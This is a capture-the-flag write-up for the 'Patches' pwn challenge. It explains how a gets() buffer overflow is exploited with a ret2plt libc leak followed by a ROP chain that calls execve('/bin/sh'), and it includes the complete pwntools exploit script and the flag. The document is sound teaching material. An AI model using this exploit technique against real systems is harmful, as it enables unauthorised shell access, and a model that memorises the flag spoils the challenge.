Patches

The binary comes with a libc and ld. As the title, description and even text of the binary suggests, the libc is patched. I patched the ELF file so that it would always run with this ld and libc, even on my local end.

patchelf --set-rpath './' ./patches
patchelf --set-interpreter './ld-2.27.so' ./patches

The binary prints some stuff using puts, calls printf("> ") and then calls gets on rbp-0x80.

This creates a buffer overflow. With NX on this time, it'll be a little more difficult. We can execute a classic ret2plt attack, retting into puts@plt(no PIE) to print out puts@got, creating a libc leak. Things are a little harder as the libc is patched. There's no /bin/sh in it, presumably the system doesn't work properly. We talked about this in the Statics and Dynamics writeup from HacktivityCon CTF - with so much code, libc is a ROP gadget gold mine. So once we've used ret2plt to leak the libc base, we can just use ROP to build a chain that uses syscalls to pop a shell.

Note that due to stack alignment we'll need to use a return gadget before returning back into main, and also I chose the instruction at 0x40123c(which is part of main) for convenience.

We can use the pwntools ROP functionality to build a nice and simple ROP chain that reads data into a writeable section, then uses execve(execve(section,NULL,NULL) specifically). Afterwards, we'll send /bin/sh which will get written to said writeable section, thus the total payload will pop a shell.

Flag: flag{no_one_gadget_this_time_wait_no_binsh_at_all?}

from pwn import *
NUM_TO_RBP = 0x80
fakestack = 0x404500
padding = b'A'*NUM_TO_RBP + p64(fakestack)
context.arch = 'amd64'
e = ELF("./patches")
libc = e.libc
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 30585)
p.recvuntil('> ')
rop = ROP(e)
#ret2plt libc leak
poprdi = rop.find_gadget(['pop rdi','ret']).address
retgadget = rop.find_gadget(['ret']).address
chain = flat(poprdi, e.got['puts'],e.plt['puts'],retgadget,0x000000000040123c)
pause()
p.sendline(padding + chain)
leak = p.recvline()[:-1].ljust(8,b'\x00')
puts = u64(leak)
log.info(f"Libc leak: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Build rop chain to read into RW section, then execve
rop2 = ROP(libc)
rop2.read(0,0x404300,8)
rop2.execve(0x404300,0,0)
payload = padding + rop2.chain()
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()

Last updated